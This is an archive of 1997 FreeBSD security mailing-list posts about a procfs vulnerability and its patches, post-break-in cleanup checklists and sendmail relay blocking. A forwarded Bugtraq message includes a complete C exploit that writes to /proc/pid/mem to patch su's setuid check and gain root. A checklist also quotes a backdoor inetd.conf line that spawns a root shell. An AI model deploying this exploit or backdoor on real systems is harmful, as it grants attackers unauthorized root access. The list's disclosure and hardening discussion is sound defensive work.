1997 07:53:27 -0700 (PDT) Received: from netrail.net (netrail.net [205.215.10.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA26179 for ; Tue, 12 Aug 1997 07:53:24 -0700 (PDT) Received: from localhost (jonz@localhost) by netrail.net (8.8.6/8.8.6) with SMTP id KAA08359 for ; Tue, 12 Aug 1997 10:52:22 GMT Date: Tue, 12 Aug 1997 10:52:22 +0000 (GMT) From: "Jonathan A. Zdziarski" To: security@freebsd.org Subject: Procfs patch Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk OK I installed the first patch into the kernel. Now, on all three machiens I installed it on, my ps is screwed up. Rather than seeing 'sendmail accepting connections" and such, I get: root 8253 1.6 1.3 608 828 ?? S - 0:00.00 (sendmail) root 128 0.0 0.8 560 472 ?? Ss - 0:00.00 (sendmail) root 292 0.0 0.6 560 364 ?? Is - 0:00.00 (sendmail) root 2576 0.0 1.3 608 804 ?? I - 0:00.00 (sendmail) root 2577 0.0 1.4 652 896 ?? I - 0:00.00 (sendmail) root 4121 0.0 1.3 608 804 ?? I - 0:00.00 (sendmail) Is there a better patch out? And if so, how do you reverse this patch? ------------------------------------------------------------------------- Jonathan A. Zdziarski NetRail Incorporated Server Engineering Manager 230 Peachtree St. Suite 500 jonz@netrail.net Atlanta, GA 30303 http://www.netrail.net (888) - NETRAIL ------------------------------------------------------------------------- From owner-freebsd-security Tue Aug 12 07:58:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA26547 for security-outgoing; Tue, 12 Aug 1997 07:58:00 -0700 (PDT) Received: from netrail.net (netrail.net [205.215.10.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA26536 for ; Tue, 12 Aug 1997 07:57:57 -0700 (PDT) Received: from localhost (jonz@localhost) by netrail.net (8.8.6/8.8.6) with SMTP id KAA08622 for ; Tue, 12 Aug 1997 10:56:55 GMT Date: Tue, 12 Aug 1997 10:56:55 +0000 (GMT) From: "Jonathan A. Zdziarski" To: security@freebsd.org Subject: Procfs patch Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Previous to the patch, I was able to look at the status of each file. Currently file permissions are globally readable, but now I can't even view the status (which might be part of why I'm getting vague ps output) jonz@mrhowell.netrail.net(43) % cd /proc/12919 jonz@mrhowell.netrail.net(44) % cat status cat: status: Operation not permitted Can't even cat it as root. ------------------------------------------------------------------------- Jonathan A. Zdziarski NetRail Incorporated Server Engineering Manager 230 Peachtree St. Suite 500 jonz@netrail.net Atlanta, GA 30303 http://www.netrail.net (888) - NETRAIL ------------------------------------------------------------------------- From owner-freebsd-security Tue Aug 12 08:21:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA28011 for security-outgoing; Tue, 12 Aug 1997 08:21:10 -0700 (PDT) Received: from cyrus.watson.org (robert@cyrus.watson.org [207.86.4.20]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA28006 for ; Tue, 12 Aug 1997 08:21:08 -0700 (PDT) Received: from localhost (robert@localhost) by cyrus.watson.org (8.8.5/8.8.5) with SMTP id LAA05593; Tue, 12 Aug 1997 11:20:38 -0400 (EDT) Date: Tue, 12 Aug 1997 11:20:38 -0400 (EDT) From: Robert Watson Reply-To: Robert Watson To: Philippe Regnauld cc: Jeff Aitken , freebsd-security@FreeBSD.ORG Subject: Re: post-break-in checklist? In-Reply-To: <19970812161107.40226@deepo.prosa.dk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk BTW, might want to suggest booting from the recovery floppy disk "(known to be untainted), and make sure not to use any utilities from the hard disk. Including ls, cksum, perl, etc. I can easily replace your cksum to give false checksums :). All binaries, as you say, should be treated as tainted. As should the kernel, the sources, etc. To be honest, a clean reinstall and then restoration of backup is the only way to go -- the possible locations for trojans are too prolific. So my modification of your list would be: 1. Be paranoid. Keep a log of everything. You'll kick yourself later if you discover you didn't write something down, and have forgotten the details, especially if you wish to press charges. 2. Boot to a CROM or recovery disk, known to be untainted 3. Verify the partition structure is as expected, and reinstall your boot blocks 3. Mount all partitions nosuid, nodev, noexec to /mnt after doing fsck 4. Copy your /etc to a trusted directory (preferably off of your MFS root), and put a restored copy of /etc somewhere nearby. Using a clean cksum, compare all files, as wel as disk consumption and directory structure. If you find differenes, determine if they are as a result of changes since backup, or something else. 5. Reinstall from a clean source (preferably CDROM) your core /bin to the hard disk, as well as new kernel source if you don't/can't run a GENERIC kernel. Reinstall or verify all other binaries against a trusted source -- if you cannot vierfy that a binary is unchanged, disable the binary and put it in a safe place. Make sure that the system libraries are among the files you check -- ideally, you would just find anything with the execute bit set, etc. It is important that ou make sure the kernel is rebuilt from a clean kernel source (and config file) as a change here would go easily unnoticed. Then jump back in on your list, I guess. This is just some preliminary thoughts -- there are a few more items I'd add: Install current FreeBSD patches (prevent future security incidents) -- post a modus operandi of the hacker and any hosts they came from to freebsd-security or some other place. Check all user home directories for any common problems --.rhosts, script things, .forward, etc. In the end, you are aways vulnerable to your users, but you can only do what you can do. The idea of the above list is to prevent trusting anything on the system that could have been tainted. In the end, it is pretty much everything. If you are extremely unlucky, they have modified your bios.cmos entries somewhow. With root access and w/o securelevels (and various other resitrictions) bad things can happen, like boot block modification. Robert Watson On Tue, 12 Aug 1997, Philippe Regnauld wrote: > Jeff Aitken writes: > > > As I recall, someone posted a post-breakin-checklist awhile back (I > > seem to think it was Karl Denninger, but I'm not sure). Anyway, I > > neglected to save a copy of it, and was wondering if anyone had such > > a beast handy. > > Don't have that list handy. But from experience: > > 1) be paranoid. > 2a) take the machine off the network right away > 2b) take it down to single user mode > 3) change all your passwords or close accounts until you can have > users change their passwords > 4) find all setuid/setgid binaries and compare against a recent backup > (you have a backup, don't you ?) or against another installation/ > media (the 2nd FreeBSD CD-Rom is perfect for this). Comparing > doesn't just mean size and date, run a checksum (md5) for each. > You can hack up a 5 line perl script that will run this for you. > 5) check every binary on your system, even not setuid -- even > 'ls' can be trapped the next time you run it as root > 6) inspect /etc/inetd.conf for unusual services, like: > > mysh stream tcp nowait root /bin/sh > > 7) check /etc/hosts.equiv and /root/.rhosts > 8) check the configuration for anything new in the startup > scripts > 9) if you're still alive, check the configuration for daemons > and servers (named, httpd, sshd, etc...) > > 10) recompile a fresh kernel > 11 - bonus) install tripwire, swatch, etc... > > > -- > -- Phil > > -[ Philippe Regnauld / Systems Administrator / regnauld@deepo.prosa.dk ]- > -[ Location.: +55.4N +11.3E PGP Key: finger regnauld@hotel.prosa.dk ]- > Robert N Watson Junior, Logic+Computation, Carnegie Mellon University http://www.cmu.edu/ Network Administrator, SafePort Network Services http://www.safeport.com/ robert@fledge.watson.org rwatson@safeport.com http://www.watson.org/~robert/ From owner-freebsd-security Tue Aug 12 08:57:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA00327 for security-outgoing; Tue, 12 Aug 1997 08:57:24 -0700 (PDT) Received: from socrates.i-pi.com (socrates.i-pi.com [198.49.217.5]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA00320 for ; Tue, 12 Aug 1997 08:57:20 -0700 (PDT) Received: (from ingham@localhost) by socrates.i-pi.com (8.8.5/8.8.5) id JAA01074; Tue, 12 Aug 1997 09:57:03 -0600 (MDT) Message-ID: <19970812095702.20181@socrates.i-pi.com> Date: Tue, 12 Aug 1997 09:57:02 -0600 From: Kenneth Ingham To: Jeff Aitken Cc: security@freebsd.org Subject: Re: post-break-in checklist? References: <199708120324.XAA27102@eagle.aitken.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.74 In-Reply-To: <199708120324.XAA27102@eagle.aitken.com>; from Jeff Aitken on Mon, Aug 11, 1997 at 11:24:34PM -0400 Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > As far as FreeBSD goes, I've got the CDs and know about mtree, but > I'm looking for a more generic "these are the sorts of things to > look for if you suspect a security violation" just to be sure I'm > not overlooking anything. While it's not a post-breakin tool, tripwire can help identify breakins. The URL for Coast at Purdue (where it was developed) is: http://www.cs.purdue.edu/coast/ Kenneth Ingham From owner-freebsd-security Tue Aug 12 09:37:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA02866 for security-outgoing; Tue, 12 Aug 1997 09:37:00 -0700 (PDT) Received: from cwsys.cwent.com (66@cschuber.net.gov.bc.ca [142.31.240.113]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA02859 for ; Tue, 12 Aug 1997 09:36:55 -0700 (PDT) Received: (from uucp@localhost) by cwsys.cwent.com (8.8.7/8.6.10) id JAA00804; Tue, 12 Aug 1997 09:36:19 -0700 (PDT) Message-Id: <199708121636.JAA00804@cwsys.cwent.com> Received: from localhost.cwent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwent.com, id smtpd000801; Tue Aug 12 16:36:17 1997 Reply-to: cschuber@uumail.gov.bc.ca X-Mailer: MH To: "Jonathan A. Zdziarski" cc: security@freebsd.org Subject: Re: Procfs patch In-reply-to: Your message of "Tue, 12 Aug 1997 10:52:22 -0000." Date: Tue, 12 Aug 1997 09:36:17 -0700 From: Cy Schubert Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Sean Eric Fagan released a better patch yesterday. A more polished version can be obtained via cvsup. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 UNIX Support OV/VM: BCSC02(CSCHUBER) ITSD BITNET: CSCHUBER@BCSC02.BITNET Government of BC Internet: cschuber@uumail.gov.bc.ca cschuber@bcsc02.gov.bc.ca "Quit spooling around, JES do it." > OK I installed the first patch into the kernel. Now, on all three > machiens I installed it on, my ps is screwed up. Rather than seeing > 'sendmail accepting connections" and such, I get: > > root 8253 1.6 1.3 608 828 ?? S - 0:00.00 > (sendmail) > root 128 0.0 0.8 560 472 ?? Ss - 0:00.00 > (sendmail) > root 292 0.0 0.6 560 364 ?? Is - 0:00.00 > (sendmail) > root 2576 0.0 1.3 608 804 ?? I - 0:00.00 > (sendmail) > root 2577 0.0 1.4 652 896 ?? I - 0:00.00 > (sendmail) > root 4121 0.0 1.3 608 804 ?? I - 0:00.00 > (sendmail) > > > Is there a better patch out? And if so, how do you reverse this patch? > > ------------------------------------------------------------------------- > Jonathan A. Zdziarski NetRail Incorporated > Server Engineering Manager 230 Peachtree St. Suite 500 > jonz@netrail.net Atlanta, GA 30303 > http://www.netrail.net (888) - NETRAIL > ------------------------------------------------------------------------- > > From owner-freebsd-security Tue Aug 12 09:52:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA03839 for security-outgoing; Tue, 12 Aug 1997 09:52:59 -0700 (PDT) Received: from neutron.neutron.org (neutron.neutron.org [207.167.87.103]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA03831 for ; Tue, 12 Aug 1997 09:52:54 -0700 (PDT) Received: (from wlclarke@localhost) by neutron.neutron.org (8.8.5/8.8.5) id JAA00677 for freebsd-security@freebsd.org; Tue, 12 Aug 1997 09:52:16 -0700 (PDT) Date: Tue, 12 Aug 1997 09:52:16 -0700 (PDT) From: bill clarke Message-Id: <199708121652.JAA00677@neutron.neutron.org> To: freebsd-security@freebsd.org Subject: SKIP 0n 2.2.x Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk can anyone tell me what is differnt about the way the 2.2.x kernel handles lkm's compared to 2.1.7 ? SKIP 1.0 is implemented as a lkm. it runs on 2.1.7 but won't even load on 2.2.1 -bill. /******************************************************************************* bill clarke neutron.org physics/applied math. consortium "the future lies ahead" -mort sahl. *******************************************************************************/ From owner-freebsd-security Tue Aug 12 10:59:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA07407 for security-outgoing; Tue, 12 Aug 1997 10:59:09 -0700 (PDT) Received: from netrail.net (netrail.net [205.215.10.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA07402 for ; Tue, 12 Aug 1997 10:59:06 -0700 (PDT) Received: from localhost (jonz@localhost) by netrail.net (8.8.6/8.8.6) with SMTP id NAA20911 for ; Tue, 12 Aug 1997 13:58:01 GMT Date: Tue, 12 Aug 1997 13:58:01 +0000 (GMT) From: "Jonathan A. Zdziarski" To: security@freebsd.org Subject: procfs Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Since the messages originated here, I thought it'd be least inappropriate to post here... With the recent security issues behind the procfs, and why it's even there has anybody considered a proc daemon that maintained a table of process information, queryable by commands from memory, rather than a pseudo-disk based sortuh thing? ------------------------------------------------------------------------- Jonathan A. Zdziarski NetRail Incorporated Server Engineering Manager 230 Peachtree St. Suite 500 jonz@netrail.net Atlanta, GA 30303 http://www.netrail.net (888) - NETRAIL ------------------------------------------------------------------------- From owner-freebsd-security Tue Aug 12 11:54:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA11027 for security-outgoing; Tue, 12 Aug 1997 11:54:19 -0700 (PDT) Received: from gatekeeper.fsl.noaa.gov (gatekeeper.fsl.noaa.gov [137.75.131.181]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA11020 for ; Tue, 12 Aug 1997 11:54:12 -0700 (PDT) Received: from cardinal.fsl.noaa.gov (daemon@cardinal.fsl.noaa.gov [137.75.60.101]) by gatekeeper.fsl.noaa.gov (8.8.5/8.8.5) with ESMTP id SAA17288; Tue, 12 Aug 1997 18:54:00 GMT Received: from fsl.noaa.gov (auk.fsl.noaa.gov) by cardinal.fsl.noaa.gov with ESMTP (1.40.112.3/16.2) id AA131462039; Tue, 12 Aug 1997 12:53:59 -0600 Message-Id: <33F0B146.5E3D6053@fsl.noaa.gov> Date: Tue, 12 Aug 1997 12:53:58 -0600 From: Sean Kelly Organization: CIRA/NOAA X-Mailer: Mozilla 4.02b7 [en] (X11; I; HP-UX B.10.20 9000/725) Mime-Version: 1.0 To: "Jonathan A. Zdziarski" Cc: security@FreeBSD.ORG Subject: Re: procfs References: Content-Type: multipart/mixed; boundary="------------552704E095BB0B0AD2A2265E" Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk This is a multi-part message in MIME format. --------------552704E095BB0B0AD2A2265E Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Probably because it's a classic Unix idiom ... to treat everything as a file. --Sean --------------552704E095BB0B0AD2A2265E Content-Type: text/x-vcard; charset=us-ascii; name="vcard.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Sean Kelly Content-Disposition: attachment; filename="vcard.vcf" begin: vcard fn: Sean Kelly n: Kelly;Sean org: CIRA/NOAA adr: NOAA/OAR/ERL/FSL/SDD R/E/FS4;;325 Broadway;Boulder;Colorado;80303;USA email;internet: kelly@fsl.noaa.gov title: Research Coordinator tel;work: 303.497.6247 tel;fax: 303.497.7256 tel;home: Yeah, right. x-mozilla-cpt: ;0 x-mozilla-html: FALSE end: vcard --------------552704E095BB0B0AD2A2265E-- From owner-freebsd-security Tue Aug 12 17:15:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA03209 for security-outgoing; Tue, 12 Aug 1997 17:15:17 -0700 (PDT) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA03202 for ; Tue, 12 Aug 1997 17:15:14 -0700 (PDT) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id RAA05451; Tue, 12 Aug 1997 17:17:22 -0700 (PDT) Message-Id: <199708130017.RAA05451@implode.root.com> To: "Jonathan A. Zdziarski" cc: security@FreeBSD.ORG Subject: Re: Procfs patch In-reply-to: Your message of "Tue, 12 Aug 1997 10:52:22 -0000." From: David Greenman Reply-To: dg@root.com Date: Tue, 12 Aug 1997 17:17:22 -0700 Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >OK I installed the first patch into the kernel. Now, on all three >machiens I installed it on, my ps is screwed up. Rather than seeing >'sendmail accepting connections" and such, I get: ... >Is there a better patch out? And if so, how do you reverse this patch? The problem isn't caused by the patch. You would have had the same problem if you had rebuilt your kernel even without the patch. Apparantly you've updated the kernel sources (to -stable or -current) without doing a 'make world' after installing the new kernel - causing your ps(8) and w(1) to be out of date. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-security Tue Aug 12 18:57:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA08917 for security-outgoing; Tue, 12 Aug 1997 18:57:40 -0700 (PDT) Received: from lucy.az.com (lucy.az.com [204.57.139.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA08906 for ; Tue, 12 Aug 1997 18:57:33 -0700 (PDT) Received: (from yankee@localhost) by lucy.az.com (8.8.5/8.8.5) id SAA03812; Tue, 12 Aug 1997 18:52:24 -0700 (PDT) Date: Tue, 12 Aug 1997 18:52:24 -0700 (PDT) From: "az.com" To: security@freebsd.org Subject: sendmail 553 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Has anyone added the external gateway refusal modifications to sendmail's checkcompat(to, e) function? (dsn 5.1.7, sendmail 553) This let's some hijacking through and shouldn't: do { if (strcmp(to->q_mailer, "local") != 0 ) { usrerr("553 Gateway access denied."); to->q_status = "5.7.1"; return (EX_UNAVAILABLE); } } while (to = to->q_next); return (EX_OK); } From owner-freebsd-security Wed Aug 13 03:13:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA08963 for security-outgoing; Wed, 13 Aug 1997 03:13:49 -0700 (PDT) Received: from firewall.ftf.dk (root@[129.142.64.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id DAA08958 for ; Wed, 13 Aug 1997 03:13:43 -0700 (PDT) Received: from mail.prosa.dk ([192.168.100.2]) by firewall.ftf.dk (8.7.6/8.7.3) with ESMTP id MAA04973; Wed, 13 Aug 1997 12:40:03 +0200 Received: from deepo.prosa.dk (deepo.prosa.dk [192.168.100.10]) by mail.prosa.dk (8.8.5/8.8.5/prosa-1.1) with ESMTP id MAA15358; Wed, 13 Aug 1997 12:14:52 +0200 (CEST) Received: (from regnauld@localhost) by deepo.prosa.dk (8.8.5/8.8.5/prosa-1.1) id MAA20619; Wed, 13 Aug 1997 12:12:40 +0200 (CEST) Message-ID: <19970813121239.25438@deepo.prosa.dk> Date: Wed, 13 Aug 1997 12:12:39 +0200 From: Philippe Regnauld To: "Jonathan A. Zdziarski" Cc: freebsd-security@freebsd.org Subject: Re: procfs References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Description: Main Body X-Mailer: Mutt 0.69 In-Reply-To: ; from Jonathan A. Zdziarski on Tue, Aug 12, 1997 at 01:58:01PM +0000 X-Operating-System: FreeBSD 2.2.1-RELEASE i386 Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Jonathan A. Zdziarski writes: > > With the recent security issues behind the procfs, and why it's even there > has anybody considered a proc daemon that maintained a table of process > information, queryable by commands from memory, rather than a pseudo-disk > based sortuh thing? As someone else said, it's a UNIX thing. Just like /dev/*, and hopefully one day portal_fs. Also, having a daemon like thing serving requests gives me a creepy feeling of Microsoftitis (then again, that's also a UNIX thing :-) -- -- Phil -[ Philippe Regnauld / Systems Administrator / regnauld@deepo.prosa.dk ]- -[ Location.: +55.4N +11.3E PGP Key: finger regnauld@hotel.prosa.dk ]- From owner-freebsd-security Wed Aug 13 03:32:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA09546 for security-outgoing; Wed, 13 Aug 1997 03:32:34 -0700 (PDT) Received: from gatekeeper.tsc.tdk.com (root@gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id DAA09538; Wed, 13 Aug 1997 03:32:28 -0700 (PDT) Received: from sunrise.gv.tsc.tdk.com (root@sunrise.gv.tsc.tdk.com [192.168.241.191]) by gatekeeper.tsc.tdk.com (8.8.4/8.8.4) with ESMTP id DAA28185; Wed, 13 Aug 1997 03:32:23 -0700 (PDT) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by sunrise.gv.tsc.tdk.com (8.8.5/8.8.5) with ESMTP id DAA19153; Wed, 13 Aug 1997 03:32:22 -0700 (PDT) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id DAA17410; Wed, 13 Aug 1997 03:32:20 -0700 (PDT) From: Don Lewis Message-Id: <199708131032.DAA17410@salsa.gv.tsc.tdk.com> Date: Wed, 13 Aug 1997 03:32:20 -0700 In-Reply-To: Cy Schubert "Re: procfs patch" (Aug 12, 7:12am) X-Mailer: Mail User's Shell (7.2.6 alpha(3) 7/19/95) To: cy@uumail.gov.bc.ca, dg@root.com Subject: Re: procfs patch Cc: Sean Eric Fagan , current@FreeBSD.ORG, security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Aug 12, 7:12am, Cy Schubert wrote: } Subject: Re: procfs patch } All this patch does, in addition to allowing the "standard" access list } access, is allow KMEM_GROUP read access, so IMHO it's almost perfect. } Could this be controllable via sysctl, which would be used at boot time } with a one-line awk script to get kmem's gid and poke it into the kernel. I think it would be better as a mount option than a global variable. It sounds kind of icky, but mount_procfs could stat /dev/kmem to find the proper gid ... --- Truck From owner-freebsd-security Wed Aug 13 07:46:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA20805 for security-outgoing; Wed, 13 Aug 1997 07:46:57 -0700 (PDT) Received: from netrail.net (netrail.net [205.215.10.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA20794 for ; Wed, 13 Aug 1997 07:46:51 -0700 (PDT) Received: from localhost (jonz@localhost) by netrail.net (8.8.6/8.8.6) with SMTP id KAA09621; Wed, 13 Aug 1997 10:45:38 GMT Date: Wed, 13 Aug 1997 10:45:38 +0000 (GMT) From: "Jonathan A. Zdziarski" To: "az.com" cc: security@FreeBSD.ORG Subject: Re: sendmail 553 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I just use rule 96 to keep us from allowing anybody outside us to send mail through us F{LocalIP}/etc/LocalIP S96 # handle special cases for local names R$* < @ localhost > $* $: $1 < @ $j . > $2 no domain at all R$* < @ localhost . $m > $* $: $1 < @ $j . > $2 local domain R$* < @ localhost . UUCP > $* $: $1 < @ $j . > $2 .UUCP domain R$* < @ [ $+ ] > $* $: $1 < @@ [ $2 ] > $3 mark [a.b.c.d] R$* < @@ $=w > $* $: $1 < @ $j . > $3 self-literal R$* < @@ $+ > $* $@ $1 < @ $2 > $3 canon IP addr ------------------------------------------------------------------------- Jonathan A. Zdziarski NetRail Incorporated Server Engineering Manager 230 Peachtree St. Suite 500 jonz@netrail.net Atlanta, GA 30303 http://www.netrail.net (888) - NETRAIL ------------------------------------------------------------------------- On Tue, 12 Aug 1997, az.com wrote: : :Has anyone added the external gateway refusal modifications to sendmail's :checkcompat(to, e) function? (dsn 5.1.7, sendmail 553) : :This let's some hijacking through and shouldn't: : :do :{ : : if (strcmp(to->q_mailer, "local") != 0 ) : : { : usrerr("553 Gateway access denied."); : to->q_status = "5.7.1"; : return (EX_UNAVAILABLE); : } : :} while (to = to->q_next); : : return (EX_OK); :} : From owner-freebsd-security Wed Aug 13 14:10:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA27825 for security-outgoing; Wed, 13 Aug 1997 14:10:44 -0700 (PDT) Received: from kaori.communique.net (kaori.communique.net [204.27.67.55]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA27820 for ; Wed, 13 Aug 1997 14:10:38 -0700 (PDT) Received: by kaori.communique.net with Internet Mail Service (5.0.1457.3) id ; Wed, 13 Aug 1997 16:10:37 -0500 Message-ID: From: Raul Zighelboim To: freebsd-security@FreeBSD.ORG Subject: RE: procfs hole (fwd) Date: Wed, 13 Aug 1997 16:10:34 -0500 X-Priority: 3 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1457.3) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk What are the pro/cons of having a /procfs mounted ? Thanks. > -----Original Message----- > From: Ted Wisniewski [SMTP:ted@wiz.plymouth.edu] > Sent: Monday, August 11, 1997 10:05 PM > To: freebsd-security@FreeBSD.ORG > Subject: FW: procfs hole (fwd) > > I do not read this list... I want to be sure that someone was aware > of this.. > I have tested it myself and the only immediate cure is to not mount > the /proc filesystem..... I would encourage anyone with it mounted > to unmounted it (unless a patch is available to fix the problem).. > Below > is the original message and exploit. > > -----Original Message----- > From: Brian Mitchell [SMTP:brian@FIREHOUSE.NET] > Sent: Sunday, August 10, 1997 5:38 AM > To: BUGTRAQ@NETSPACE.ORG > Subject: procfs hole > > There is a major hole in procfs under FreeBSD 2.2.1 (2.1 is not > affected, > I have not tested 3.x but I believe it to be vulnerable as well) along > with OpenBSD (not tested by me, but by someone else -- believe it was > 2.1-RELEASE although obsd doesnt mount procfs by default like freebsd > does). > > The problem is all proc/#/mem access is controlled by the permissions > on > the file. This means you can fork() open the childs mem device and > then > have the child execute a setuid executable. Once this is done, you can > modify the setuid executables memory -- even segments that are > supposed to > be nonwritable can be modified. Enclosed is a simple exploit tested > under > FreeBSD 2.2.1 -- beware, this exploit is slow because it searches > memory > for a specific signature. Oh, you need to change your shell to a > borneish > shell too, since csh/tcsh will not work when euid != ruid (unless > passed > a -b script argument). > > BSDI is also believed to be vulnerable. Unfortunately, not only is > procfs > not mounted, it is not even in the GENERIC kernel. > > #include > #include > #include > #include > #include > > u_char search_code[13] = { > 0x8d, 0x05, 0x17, 0x00, 0x00, 0x00, /* leal 0x17, %eax */ > 0x9a, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00}; /* lcall 7,0 */ > > /* just do a xor %eax, %eax and then a ret */ > u_char new_code[] = { > 0x31, 0xc0, 0xc3}; > > main(int argc, char **argv) > { > int pid; > int fd; > char buff[40]; > char *user; > > /* might need to tweak these */ > u_int offset=0x8003000; > u_int offset_end = 0x8099000; > > if(argc < 2) > { > fprintf(stderr, "%s user\n", argv[0]); > exit(1); > } > printf("Demonstration of 4.4BSD procfs hole\n"); > printf("Brian Mitchell \n\n"); > printf("after you see \"setuid changed\", enter the pw for the > user\n"); > printf("\aBe warned, searching for the setuid() function takes > a long time!\n"); > user=argv[1]; > pid = fork(); > switch(pid) > { > case -1: > perror("fork"); > exit(1); > case 0: > /* give parent time to open /proc/pid/mem */ > sleep(3); > execl("/usr/bin/su", "su", user, NULL); > exit(0); > default: > sprintf(buff, "/proc/%d/mem", pid); > fd = open(buff, O_RDWR); > if(fd < 0) > { > perror("open procmem"); > wait(NULL); > exit(1); > } > /* wait for child to execute suid program */ > sleep(6); > /* stop the child */ > kill(pid, 17); > printf("searching - please be patient...\n"); > /* search for the setuid code */ > while(offset != offset_end) > { > lseek(fd, offset, SEEK_SET); > read(fd, buff, 13); > if(!bcmp(buff, search_code, 13)) > { > lseek(fd, offset, SEEK_SET); > write(fd, new_code, 3); > printf("setuid changed > (0x%x)\n", offset); > /* sigcont child */ > kill(pid, 19); > wait(NULL); > exit(0); > } > offset++; > } > printf("setuid not found!!\n"); > kill(pid, 9); > wait(NULL); > exit(1); > } > } > > > Brian Mitchell brian@firehouse.net > "BSD code sucks. Of course, everything else sucks far more." > - Theo de Raadt (OpenBSD President) > > > -- > | Ted Wisniewski INET: ted@oz.plymouth.edu > | > | Computer Services ted@wiz.plymouth.edu > | > | Plymouth State College tedw@psc.plymouth.edu > | > | Plymouth NH, 03264 HTTP: > http://oz.plymouth.edu/~ted/ | From owner-freebsd-security Wed Aug 13 14:37:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA29388 for security-outgoing; Wed, 13 Aug 1997 14:37:36 -0700 (PDT) Received: from netrail.net (netrail.net [205.215.10.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA29368 for ; Wed, 13 Aug 1997 14:37:27 -0700 (PDT) Received: from localhost (jonz@localhost) by netrail.net (8.8.6/8.8.6) with SMTP id RAA09752 for ; Wed, 13 Aug 1997 17:36:11 GMT Date: Wed, 13 Aug 1997 17:36:11 +0000 (GMT) From: "Jonathan A. Zdziarski" To: security@freebsd.org Subject: procfs patch Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Sorry to bother y'all again, but could somebody email me a copy of the RCS'd (second) procfs patch? Thanks. ------------------------------------------------------------------------- Jonathan A. Zdziarski NetRail 